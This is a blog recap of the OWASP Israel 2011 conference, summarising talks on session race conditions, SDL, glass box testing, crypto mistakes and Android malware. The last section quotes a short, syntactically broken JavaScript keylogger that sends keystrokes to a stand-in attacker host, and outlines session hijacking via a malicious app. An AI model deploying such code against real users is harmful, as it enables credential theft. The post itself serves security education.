OWASP Israel Conference 2011

This past Thursday, OWASP Israel held their yearly regional conference, just before the larger global AppSec conference in US. The Interdisciplinary Center Herzliya (IDC) was gracious enough to host the conference.

Sec.se was a sponsor there, and in addition provided some great swag – lanyards for the speakers, stickers, and loads of very cool t-shirts (these were gone before the first lecture even started!) Quite a few attendees popped them straight on, and I heard a lot of compliments on the logo design (thanks @Jin!!). Btw, Sec.se didn’t just sponsor the conference – they’re now full OWASP Members, so kudos to the fellows at StackExchange, Inc.! (Still leaves the issue of which OWASP project to sponsor, please share your opinion there!)

There were quite a few sponsors this year, and that enabled us (disclosure: I am a Board Member of the Israel chapter) to put on the biggest regional conference yet: with approximately 500 attendees – including both security professionals and developers – and tracks in parallel, a total of 14 talks, it was a definite success.

It was also a great opportunity for networking, as there were people from all sorts of companies there: security product vendors, other software companies, security consulting firms, government/military, academia… very wide and varied.

The only drawback for me, was missing half the talks – and, running back and forth between the rooms to catch my preferred talks .

Here’s a quick rundown of the the talks I was able to get into, note that most of the presentations are online at https://www.owasp.org/index.php/OWASP_Israel_2011 (and pretty much all of them are actually in English 😉 ).

Opening Words

Ofer Maor, Chapter Chairman, introduced OWASP for those that are new to it: now celebrating 10 years, OWASP is the foremost authority on application security, and provides some great resources to aid developers in creating amazing applications that are also secure. One of the main resources, among the various guides, is the OWASP Top Ten – this is “a broad consensus about what the most critical web application security flaws are.” There are also many open source security projects.

OWASP IL is celebrating its 5th year, and is currently one of the largest chapters… The OWASP IL chapter is also working on translating and updating the OWASP Top 10 into Hebrew (if this is your native language – please give a hand!)

Dr. Anat Bremmler, rep of the IDC, spoke about her commitment to security – her background is in network security, and she believes strongly in appsec. This is why this is the 6th OWASP conference that is taking place in the IDC. On a personal note, I would like to point out that the combination between the industry, specifically the security community, and academia, is a fantastic situation, and will have some wonderful results. Already, students in the IDC usually offer a presentation on some applicable research, as a result of their classwork. OWASP has interest in pushing security education all the way to universities, colleges, and such.

 

Keynote: Composite Applications Over Hybrid Clouds – Enterprise Security Challenges of the IT Supply Chain

Dr. Ethan Hadar, SVP of Corporate Technical Strategy at CA, gave a lightweight keynote address, discussing some challenges in combining the benefits from moving to Cloud Computing for supply chain management, and security requirements and needs. While he really didn’t say anything new, he presented the viewpoint of a CIO, who doesn’t really care much about security, except for compliance issues. Contrast this with other perspectives, such as that of a security manager, an auditor, and the end user… Often, it is the perception of security that matters, and not the actual level of security. While we in the security field would often dismiss that as “security theater”, Dr. Hadar made the case that for some shareholders, this might be what brings the buy-in.

He also brought up an interesting issue, regarding testing “composite applications” (i.e. systems that comprise 3rd party services) or apps hosted on “cloud infrastructure”: how can you test the sub-services? What if these are hosted on IaaS/PaaS/ *aaS etc? Are you even allowed to? In what country? What if your meta-system relies on 3rd party service? What can you do about change management – on the subsystems?

And whose responsibility is it, anyway? Dr. Hadar suggested including security in the contractual SLA…

But then, there are also short-lived apps – what he calls “situational applications”, such as a department pops up a website for a short timeframe.

Overall, not really anything new – but it was more about presenting the questions, providing food for thought…

The CIO doesn’t want security, its like talking to an insurance agent – just something you have to do, we should be making it as painless as possible.

 

Temporal Session Race Conditions

Shay Chen, CTO of Ernst and Young’s Hacktics Advanced Security Center, demoed a new class of attack he’s calling “Temporal Session Race Condition”.

Shay attempted to login to a simple webapp, without a valid password. He overloaded the password field with too much data, causing a momentary delay… In the meantime, he opened another window and tried to jump directly to an internal page. This created a sort of race condition on the session management…

Typically, race conditions would imply some form of latency, causing the intended order of operations to change, or become unpredictable.… In this case, even with no latency extant, the attempt is to create the latency, as needed, in order to enable the attacker to force the race condition.

The success of this attack can be based on what Shay calls “Session Puzzling”. This attack is kinda complex, but in certain scenarios can allow the attacker to subvert the session generation. For example, a webserver will generate a new session id, associate the session id with the memory area, and then store the session id. Of course, this session id is sent to the user’s browser (typically via a cookie, using a Set-Cookie header), which is then reused to find the session memory.

In a Session Puzzle attack, the web app accidentally stores a special flag in the session memory – e.g. in a multi-phase password recovery process. This flag might (and often is) the same flag that is checked by the rest of the application to verify that the user is logged in (for example, a session variable called, surprisingly, “username”).

While this is a relatively simplistic scenario (note that while it shouldn’t happen, it often does, sadly enough) – the more general case, of multi-phase flow control stored in session variables, is quite common. If the session variables used to store the flow control are the same variables used elsewhere, this can be subverted by running two flows, in parallel, without advancing the flow in the expected order (i.e. stop flow A after the first step, then commence flowB and continue through till the end). Likewise, it can be possible in some cases to skip steps in the flow, and jump ahead to a more interesting step – such as the phase where the password can be retrieved.

Shay then went on to discuss techniques to control what he calls “productive latency” – i.e. controlling how much time a specific line of code should take. This will increase the window of opportunity to inject a specific RC, even in cases where (flow-based) Session Puzzling does not apply. For example, what if the logon mechanism stores the username in the session, before verifying the password – and if the password is incorrect, the session is invalidated (in the same function)? This is not a multi-step flow, however by injecting the productive latency, it will be possible to create a race condition (by jumping to an internal page, during the authentication attempt).

These “productive latency” inducing techniques include Regex’s, loops, complex queries, and database connection pool exhaustion. He also introduced a tool (and who doesn’t love tools?) to flood a data access web page, and forcefully occupy the entire connection pool for a given amount of time…

Btw, he also mentioned architecture of two separate systems, that share a backend resource – one app might be able to saturate the backend connections, thus creating latency for the other app.

At the very end, as a sort of appendix, he did discuss ways to detect such vulnerabilities – both in blackbox pentests, and in Code reviews. it really just comes back to finding places where an application-layer DoS is possible, for any of the backend layers – such as a resource or code flow that is controlled by input (direct or indirect).

 

Building an Effective SDLC Program

This was a joint lecture, between Ofer Maor (CTO of Seeker Security, formerly CTO of E&Y’s Hacktics, also the chapter chairman), and Guy Bejerano, CSO of Liveperson. The two presented a case study of the process of implementing an SDL – security development lifecycle. They discussed to their own mutual experience of pulling the Liveperson development staff into SDL (Ofer’s team consulted to Liveperson on this).

One of the key challenges for Liveperson (and indeed, most SaaS providers) is providing a service – which should be secure, of course – in the cloud, and using cloud services. (This calls back to some of the challenges that Dr. Hadar referred to in his keynote). Amongst other issues, many of their high-security customers insisted on performing an external pentest on their service. On the other hand, Liveperson felt the impact of security bugs – friction, costs, reputation damage – but did not really bother to focus on the upside.

Their development started as a standard “Waterfall” process (Gladly, they didn’t eat the lunch of my own later talk, though there is some overlap…) This did present its own challenges, such as accuracy and repetitiveness of testing, and more.

They then decided to switch to an Agile lifecycle, but this created even more friction! (My talk later in the day focused on the difficulties of SDL specifically with Agile.) Ofer shared an anecdote regarding SDL-related friction: he performed pentest for one of the larger US retailers. Finding many instances of SQL Injection and over 40 other vulnerabilities, he was later told that the developers had to work overnight straight through the holiday season, just to fix what was only discovered at the end of the cycle, instead of much earlier.

Guy perceives “SDLC” as “vendor heaven” – with an overload of products, services, and more, you never know what you need, or when it’s enough, right?

They proposed a few key points to focus on, before laying out your SDL:

• Define your requirements – focus on risk profile, including your customers’ risk requirements (e.g. PCI, HIPAA, etc.). Decide where you need to get to.
• Select a framework – for a common language, e.g.Liveperson settled on OWASP’s taxonomy.
• Who leads the program? For a very technical org (such as any software company), it can no longer be just the CSO, but you have to create ownership in the dev teams.

For example, the system owner needs to accept security as one of the operational requirements… and it then becomes his responsibility to deliver. Also, it’s best if you can make security leaders (or “champions”) out of the best programmers.

Security then becomes part of the quality requirement. It can start with QA, by getting them interested / involved in security – then QA can find security bugs, too.

• Knowledge sharing: there were some changes in the process from what they originally intended. They started off with a mistake, but then realized that they must create awareness. It even came to the point that watercooler talk between programmers, was actually about sql injection.
• Penetration testing strategy (manual/automatic, blackbox/whitebox, internal/external, etc)
• Fitting tools to platform/process
• Operational cycle – Key Performance Indicators (for the SDL), and reviewed by owners

Encouragingly, Guy affirmed that a second round of SDL implementation, with focus on these issues, was a lot more successful.

 

Glass Box Testing – Thinking Inside the Box

Omri Weisman, manager of the Security Research Group in IBM, gave an interesting talk about their research in new forms of automated testing. (Of course, count on IBM that this will eventually be rolled into a high-end product. Btw, one of the other sponsors of the conference, Seeker Security, also has a product in this field, though I have not personally experimented with it yet).

Previously, one of the main options for automated testing was Black Box – based on sending inputs to a closed system, and checking the outputs. One key drawback of this approach, is the difficulty in finding hidden logic – such as magic numbers, secret parameters, and other types. Another challenge for black box testing, are attacks that don’t really have noticeable results – as an example, consider SQL Injection that does not return data. While there are ways around this, such as blind injection or timing attacks, this is often complex and not trivial.

Another important drawback to blackbox testing, is that it is typically very difficult to trace a given issue, back to the line of code that needs to be fixed. Often a programmer, tasked with fixing a vulnerability found in BB, will have to drill down many layers of code, calling functions, configured classes, referenced modules, and pointless comments, until he finds the one single faulty line of code.

So what is GlassBox?

Omri used a very cute video to display this intuitively… Blackbox: sliding an envelope under a closed door, and getting another envelope in response. Glassbox is like sliding the envelope under the door – and then looking through the window, to see a gorilla preparing the response…. 🙂

Or, more succinctly:

Glass Box testing uses internal agents to guide application scanning

Using this direction, GB has a lot more information available – memory, structure, environment, source code, runtime configuration, actual network traffic, access to file-system, registry, database, and much more.

Glassbox offers the capability to do additional tests, that you couldn’t do with straight BB – such as verifying test coverage (an important facet in security assurance), finding hidden parameters and values, backdoors, attacks with no response, DoS, and even generating exploits directly according to the existing input validation.

GB further assists the testing process, by consolidating and correlating similar issues that can be traced back to the same source, thus removing duplicates. GB can also trace the results of the external pentest, back to the specific lines of code, and can also help remove false positives.

Thus, Glassbox testing could solve the black box challenges… and moreover, this would enable an automated PT tool to automatically detect e.g. all OWASP Top 10 issues (typically, BB tools can only discover half).

 

Agile + SDL – Concepts and Misconceptions

Next up was my own talk, together with Nir Bregman from HP, explaining the difficulty in combining an SDL (Security Development Lifecycle) process with Agile methodology – but I will save the content of that for its own post, where I’ll elaborate on the whole idea behind the talk.

Without delving into the content, I will say that I had a blast delivering the talk. After a short introduction to the terminology (for those unfamiliar), we structured the first half of the talk as an aggressive, back-and-forth (modeled after the “yo’ momma” contests of yore), with each of us presenting an ignorant view of the other’s methodology (I defended SDL, as a security pro, and showed great ignorance and pettiness wrt Agile, Nir respectfully displayed immaturity regarding all things security). The second half of the talk, of course, showed how to reconcile the resulting problems, and presented some possibilities of implementing SDL as part of an Agile workflow.

Before that, though, we had a great lunch – thanks to all the sponsors!

 

When Crypto Goes Wrong

Erez Metula (AppSec Labs) is well-known as a great speaker, and he always puts on a great show. This time, he did not disappoint. Though there was not much new meat in his talk, it was a great back-to-basics review of common mistakes that happen when programmers try to implement cryptographic functions. (Overall, I think this was probably the most important talk of the day, at least for the programmers that attended – and at the end of the day, isn’t the whole purpose of OWASP to help programmers implement secure code?).

• Home grown algorithms
• Outdated crypto (e.g. MD5, DES)
• Bad encryption mode, e.g. AES with ECB instead of CBC.
• Forgetting to verify certificates – e.g. from a rich client, when calling a backend web service, or even more commonly from mobile apps.
• Not requiring HTTPS (Don’t forget about SSLstrip…)
• Direct access to server-side crypto functions
• Direct access to client-side crypto functions (ex: exposed ActiveX crypto)
• Sending hash values over an insecure transport (such as this recent question)
• Not using salts (and pepper)
• Leaving the key with the encrypted secrets
• Unprotected encryption keys
• Same symmetric key for all clients
• Same asymmetric keys for all deployments
• Same keys, different encryption needs (or “Crypto is not a replacement for access control”)
• Replaying password hashes
• Replaying encrypted blocks
• Combining (or correlating) unrelated encrypted blocks
• Crypto-DoS – by causing the application to RSA sign large amounts of data

 

Hey, What’s your App doing on my (Smart)Phone?

Shay Zalalichin, CTO of Comsec Consulting (and btw, my former boss 🙂 ), discussed various mobile malware, focusing specifically on the Android platform. Just a note, this was the second out of three talks about mobile security (I missed Itzik Kotler’s talk on hacking mobile apps, but I heard it was great – he also presented results of research that Security Art performed on the most common apps in the iTunes store). This can be taken as a sign of OWASP’s acceptance in a wider role in Application Security, and no longer just Web Apps.

As an example, Shay displayed an Android app (from the Android Market), that simply displays a diamond – if you can’t afford a real diamond, you can’t afford this – but, secretly, the app accesses all the phone logs, outgoing calls, contacts, etc.

His message focused on the fact that today’s phones have a lot more functionality, connectivity – and assets. It’s a stretch to even call it a “phone”… Depending on your viewpoint, phones can provide something computers don’t have (user viewpoint); but they are also really pretty much a mobile computer, with access to the same assets as a regular computer (enterprise management viewpoint).

Whilst the mobile market is finally evolving (“year of the mobile” has been declared several years in a row, but now the stats actually back it up), mobile malware is also evolving. State-of-the-art mobile malware no longer focuses just on “sending premium SMS”, now malware is also actually attacking the mobile device, stored assets, and more. Btw, it is trivial getting malware into the Android market…

Shay explained the Android architecture, it’s security model (based on pieces from both Linux+Java), and Android permissions, based on a thick manifest – which is very much not fine-grained (e.g. an app can be granted “access internet”, but no way to limit that to a single site, and SameOriginPolicy does not apply). Shay also discussed some of the key components of the platform, such as “intents” – basically an IPC mechanism (for intra- and inter-app communication).

Some Android specific attacks: intent sniffing, intent spoofing / injection, insecure storage, privilege manipulation and bypass, and more.

Btw, as he mentioned, OWASP has it’s own mobile security project. Anyway, I don’t think that I will be getting an Android phone anytime soon… 😉

 

The Bank Job II

The final talk of the day was given by Adi Sharabani, Leader of the Rational’s Security Strategy and Architecture team at IBM, ran a very nice demo of a hacker’s (sic) experience.

1 . Know your target

• Same Origin Policy (SOP), enforced by all common web browsers, prevents a page on a website from directly accessing any other website.
• There are some ways to overcome SOP:
• Site vulnerabilities: client side vulnerabilities, Man-in-the-Middle (MitM) – especially over unprotected Wi-Fi
• Browser vulnerabilities, DNS vulnerabilities, Active MitM

2 . Executing the Attack

• Persistent attack on a mobile device Android browser vulnerability (via a malicious app), found earlier this year by Adi’s team:

1. open URL

2. sleep

3. open `javascript:alert(1)`

But, what else can this vulnerability be used for? E.g. stealing a users session id for some random other site (after login).

E.g. using an external JavaScript file, to request an image on the attacker’s server with the session id in the URL – of course, the image itself is of no interest, however the attacker has already received the user’s session id.

• Some challenges with the above attack scenario:
• The victim is not yet authenticated, so stealing the session id would be pointless
• This would be blocked by HTTPonly cookie attribute.
• Adi presented a JavaScript based keylogger (in only a handful of lines of code!):

void sendData(char c){

   var img = document.createElement(“img”)

   img.src = ”http://attacker.com/” + c;

   document.body.append(img);

} document.body.onKeyPress = function(event) {sendData(key);}

(Hmm, as I am an IntelliSense cripple, please forgive my memory if there are any syntax errors…)

• 2-factor authentication would still prevent this attack…
• Instead, the attacker can embed the attack directly in the client JavaScript, and have no need to steal the session id itself. (Btw, in many cases, the 2-factor authentication is only applied on the authentication page – but further session access would be based on the session id alone…)
• Based on the above vulnerability + keylogger, a malicious app could easily permanently poison any browser session running on the device! (Adi also showed a workaround for unload events, e.g. if the user closes the browser you don’t want to keep poisoning the session.)

Boom, there you have it – the attacker is now in total control of all browsing you do from your mobile phone…

What an encouraging note to end the day 😀